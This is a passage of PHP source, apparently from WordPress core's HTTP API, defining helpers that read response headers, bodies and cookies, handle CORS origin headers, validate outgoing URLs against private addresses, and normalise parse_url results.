on failure. */ function wp_remote_head($url, $args = array()) { $http = _wp_http_get_object(); return $http->head( $url, $args ); } /** * Retrieve only the headers from the raw response. * * @since 2.7.0 * @since 4.6.0 Return value changed from an array to an Requests_Utility_CaseInsensitiveDictionary instance. * * @see \Requests_Utility_CaseInsensitiveDictionary * * @param array $response HTTP response. * @return array|\Requests_Utility_CaseInsensitiveDictionary The headers of the response. Empty array if incorrect parameter given. */ function wp_remote_retrieve_headers( $response ) { if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) { return array(); } return $response['headers']; } /** * Retrieve a single header by name from the raw response. * * @since 2.7.0 * * @param array $response * @param string $header Header name to retrieve value from. * @return string The header value. Empty string on if incorrect parameter given, or if the header doesn't exist. */ function wp_remote_retrieve_header( $response, $header ) { if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) { return ''; } if ( isset( $response['headers'][ $header ] ) ) { return $response['headers'][$header]; } return ''; } /** * Retrieve only the response code from the raw response. * * Will return an empty array if incorrect parameter value is given. * * @since 2.7.0 * * @param array $response HTTP response. * @return int|string The response code as an integer. Empty string on incorrect parameter given. */ function wp_remote_retrieve_response_code( $response ) { if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response'])) return ''; return $response['response']['code']; } /** * Retrieve only the response message from the raw response. * * Will return an empty array if incorrect parameter value is given. * * @since 2.7.0 * * @param array $response HTTP response. * @return string The response message. Empty string on incorrect parameter given. */ function wp_remote_retrieve_response_message( $response ) { if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response'])) return ''; return $response['response']['message']; } /** * Retrieve only the body from the raw response. * * @since 2.7.0 * * @param array $response HTTP response. * @return string The body of the response. Empty string if no body or incorrect parameter given. */ function wp_remote_retrieve_body( $response ) { if ( is_wp_error($response) || ! isset($response['body']) ) return ''; return $response['body']; } /** * Retrieve only the cookies from the raw response. * * @since 4.4.0 * * @param array $response HTTP response. * @return array An array of `WP_Http_Cookie` objects from the response. Empty array if there are none, or the response is a WP_Error. */ function wp_remote_retrieve_cookies( $response ) { if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) { return array(); } return $response['cookies']; } /** * Retrieve a single cookie by name from the raw response. * * @since 4.4.0 * * @param array $response HTTP response. * @param string $name The name of the cookie to retrieve. * @return WP_Http_Cookie|string The `WP_Http_Cookie` object. Empty string if the cookie isn't present in the response. */ function wp_remote_retrieve_cookie( $response, $name ) { $cookies = wp_remote_retrieve_cookies( $response ); if ( empty( $cookies ) ) { return ''; } foreach ( $cookies as $cookie ) { if ( $cookie->name === $name ) { return $cookie; } } return ''; } /** * Retrieve a single cookie's value by name from the raw response. * * @since 4.4.0 * * @param array $response HTTP response. * @param string $name The name of the cookie to retrieve. * @return string The value of the cookie. Empty string if the cookie isn't present in the response. */ function wp_remote_retrieve_cookie_value( $response, $name ) { $cookie = wp_remote_retrieve_cookie( $response, $name ); if ( ! is_a( $cookie, 'WP_Http_Cookie' ) ) { return ''; } return $cookie->value; } /** * Determines if there is an HTTP Transport that can process this request. * * @since 3.2.0 * * @param array $capabilities Array of capabilities to test or a wp_remote_request() $args array. * @param string $url Optional. If given, will check if the URL requires SSL and adds * that requirement to the capabilities array. * * @return bool */ function wp_http_supports( $capabilities = array(), $url = null ) { $http = _wp_http_get_object(); $capabilities = wp_parse_args( $capabilities ); $count = count( $capabilities ); // If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) == $count ) { $capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) ); } if ( $url && !isset( $capabilities['ssl'] ) ) { $scheme = parse_url( $url, PHP_URL_SCHEME ); if ( 'https' == $scheme || 'ssl' == $scheme ) { $capabilities['ssl'] = true; } } return (bool) $http->_get_first_available_transport( $capabilities ); } /** * Get the HTTP Origin of the current request. * * @since 3.4.0 * * @return string URL of the origin. Empty string if no origin. */ function get_http_origin() { $origin = ''; if ( ! empty ( $_SERVER[ 'HTTP_ORIGIN' ] ) ) $origin = $_SERVER[ 'HTTP_ORIGIN' ]; /** * Change the origin of an HTTP request. * * @since 3.4.0 * * @param string $origin The original origin for the request. */ return apply_filters( 'http_origin', $origin ); } /** * Retrieve list of allowed HTTP origins. * * @since 3.4.0 * * @return array Array of origin URLs. */ function get_allowed_http_origins() { $admin_origin = parse_url( admin_url() ); $home_origin = parse_url( home_url() ); // @todo preserve port? $allowed_origins = array_unique( array( 'http://' . $admin_origin[ 'host' ], 'https://' . $admin_origin[ 'host' ], 'http://' . $home_origin[ 'host' ], 'https://' . $home_origin[ 'host' ], ) ); /** * Change the origin types allowed for HTTP requests. * * @since 3.4.0 * * @param array $allowed_origins { * Default allowed HTTP origins. * @type string Non-secure URL for admin origin. * @type string Secure URL for admin origin. * @type string Non-secure URL for home origin. * @type string Secure URL for home origin. * } */ return apply_filters( 'allowed_http_origins' , $allowed_origins ); } /** * Determines if the HTTP origin is an authorized one. * * @since 3.4.0 * * @param null|string $origin Origin URL. If not provided, the value of get_http_origin() is used. * @return string Origin URL if allowed, empty string if not. */ function is_allowed_http_origin( $origin = null ) { $origin_arg = $origin; if ( null === $origin ) $origin = get_http_origin(); if ( $origin && ! in_array( $origin, get_allowed_http_origins() ) ) $origin = ''; /** * Change the allowed HTTP origin result. * * @since 3.4.0 * * @param string $origin Origin URL if allowed, empty string if not. * @param string $origin_arg Original origin string passed into is_allowed_http_origin function. */ return apply_filters( 'allowed_http_origin', $origin, $origin_arg ); } /** * Send Access-Control-Allow-Origin and related headers if the current request * is from an allowed origin. * * If the request is an OPTIONS request, the script exits with either access * control headers sent, or a 403 response if the origin is not allowed. For * other request methods, you will receive a return value. * * @since 3.4.0 * * @return string|false Returns the origin URL if headers are sent. Returns false * if headers are not sent. */ function send_origin_headers() { $origin = get_http_origin(); if ( is_allowed_http_origin( $origin ) ) { @header( 'Access-Control-Allow-Origin: ' . $origin ); @header( 'Access-Control-Allow-Credentials: true' ); if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) exit; return $origin; } if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) { status_header( 403 ); exit; } return false; } /** * Validate a URL for safe use in the HTTP API. * * @since 3.5.2 * * @param string $url * @return false|string URL or false on failure. */ function wp_http_validate_url( $url ) { $original_url = $url; $url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) ); if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) return false; $parsed_url = @parse_url( $url ); if ( ! $parsed_url || empty( $parsed_url['host'] ) ) return false; if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) return false; if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) return false; $parsed_home = @parse_url( get_option( 'home' ) ); if ( isset( $parsed_home['host'] ) ) { $same_host = strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] ); } else { $same_host = false; } if ( ! $same_host ) { $host = trim( $parsed_url['host'], '.' ); if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) { $ip = $host; } else { $ip = gethostbyname( $host ); if ( $ip === $host ) // Error condition for gethostbyname() $ip = false; } if ( $ip ) { $parts = array_map( 'intval', explode( '.', $ip ) ); if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0] || ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] ) || ( 192 === $parts[0] && 168 === $parts[1] ) ) { // If host appears local, reject unless specifically allowed. /** * Check if HTTP request is external or not. * * Allows to change and allow external requests for the HTTP request. * * @since 3.6.0 * * @param bool false Whether HTTP request is external or not. * @param string $host IP of the requested host. * @param string $url URL of the requested host. */ if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) return false; } } } if ( empty( $parsed_url['port'] ) ) return $url; $port = $parsed_url['port']; if ( 80 === $port || 443 === $port || 8080 === $port ) return $url; if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) return $url; return false; } /** * Whitelists allowed redirect hosts for safe HTTP requests as well. * * Attached to the {@see 'http_request_host_is_external'} filter. * * @since 3.6.0 * * @param bool $is_external * @param string $host * @return bool */ function allowed_http_request_hosts( $is_external, $host ) { if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) $is_external = true; return $is_external; } /** * Whitelists any domain in a multisite installation for safe HTTP requests. * * Attached to the {@see 'http_request_host_is_external'} filter. * * @since 3.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * @staticvar array $queried * * @param bool $is_external * @param string $host * @return bool */ function ms_allowed_http_request_hosts( $is_external, $host ) { global $wpdb; static $queried = array(); if ( $is_external ) return $is_external; if ( $host === get_network()->domain ) return true; if ( isset( $queried[ $host ] ) ) return $queried[ $host ]; $queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) ); return $queried[ $host ]; } /** * A wrapper for PHP's parse_url() function that handles consistency in the return * values across PHP versions. * * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute url's, including * schemeless and relative url's with :// in the path. This function works around * those limitations providing a standard output on PHP 5.2~5.4+. * * Secondly, across various PHP versions, schemeless URLs starting containing a ":" * in the query are being handled inconsistently. This function works around those * differences as well. * * Error suppression is used as prior to PHP 5.3.3, an E_WARNING would be generated * when URL parsing failed. * * @since 4.4.0 * @since 4.7.0 The $component parameter was added for parity with PHP's parse_url(). * * @link https://secure.php.net/manual/en/function.parse-url.php * * @param string $url The URL to parse. * @param int $component The specific component to retrieve. Use one of the PHP * predefined constants to specify which one. * Defaults to -1 (= return all parts as an array). * @return mixed False on parse failure; Array of URL components on success; * When a specific component has been requested: null if the component * doesn't exist in the given URL; a string or - in the case of * PHP_URL_PORT - integer when it does. See parse_url()'s return values. */ function wp_parse_url( $url, $component = -1 ) { $to_unset = array(); $url = strval( $url ); if ( '//' === substr( $url, 0, 2 ) ) { $to_unset[] = 'scheme'; $url = 'placeholder:' . $url; } elseif ( '/' === substr( $url, 0, 1 ) ) { $to_unset[] = 'scheme'; $to_unset[] = 'host'; $url = 'placeholder://placeholder' . $url; } $parts = @parse_url( $url ); if ( false === $parts ) { // Parsing failure. return $parts; } // Remove the placeholder values. foreach ( $to_unset as $key ) { unset( $parts[ $key ] ); } return _get_component_from_parsed_url_array( $parts, $component ); } /** * Retrieve a specific component from a parsed URL array. * * @internal * * @since 4.7.0 * @access private * * @link https://secure.php.net/manual/en/function.parse-url.php * * @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse. * @param int $component The specific component to retrieve. Use one of the PHP * predefined constants to specify which one. * Defaults to -1 (= return all parts as an array). * @return mixed False on parse failure; Array of URL components on success; * When a specific component has been requested: null if the component * doesn't exist in the given URL; a string or - in the case of * PHP_URL_PORT - integer when it does. See parse_url()'s return values. */ function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) { if ( -1 === $component ) { return $url_parts; } $key = _wp_translate_php_url_constant_to_key( $component ); if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) { return $url_parts[ $key ]; } else { return null; } } /** * Translate a PHP_URL_* constant to the named array keys PHP uses. * * @internal * * @since 4.7.0 * @access private * * @link https://secure.php.net/manual/en/url.constants.php * * @param int $constant PHP_URL_* constant. * @return string|bool The named key or false. */ function _wp_translate_php_url_constant_to_key( $constant ) { $translation = array( PHP_URL_SCHEME => 'scheme', PHP_URL_HOST => 'host', PHP_URL_PORT => 'port', PHP_URL_USER => 'user', PHP_URL_PASS => 'pass', PHP_URL_PATH => 'path', PHP_URL_QUERY => 'query', PHP_URL_FRAGMENT => 'fragment', ); if ( isset( $translation[ $constant ] ) ) { return $translation[ $constant ]; } else { return false; } }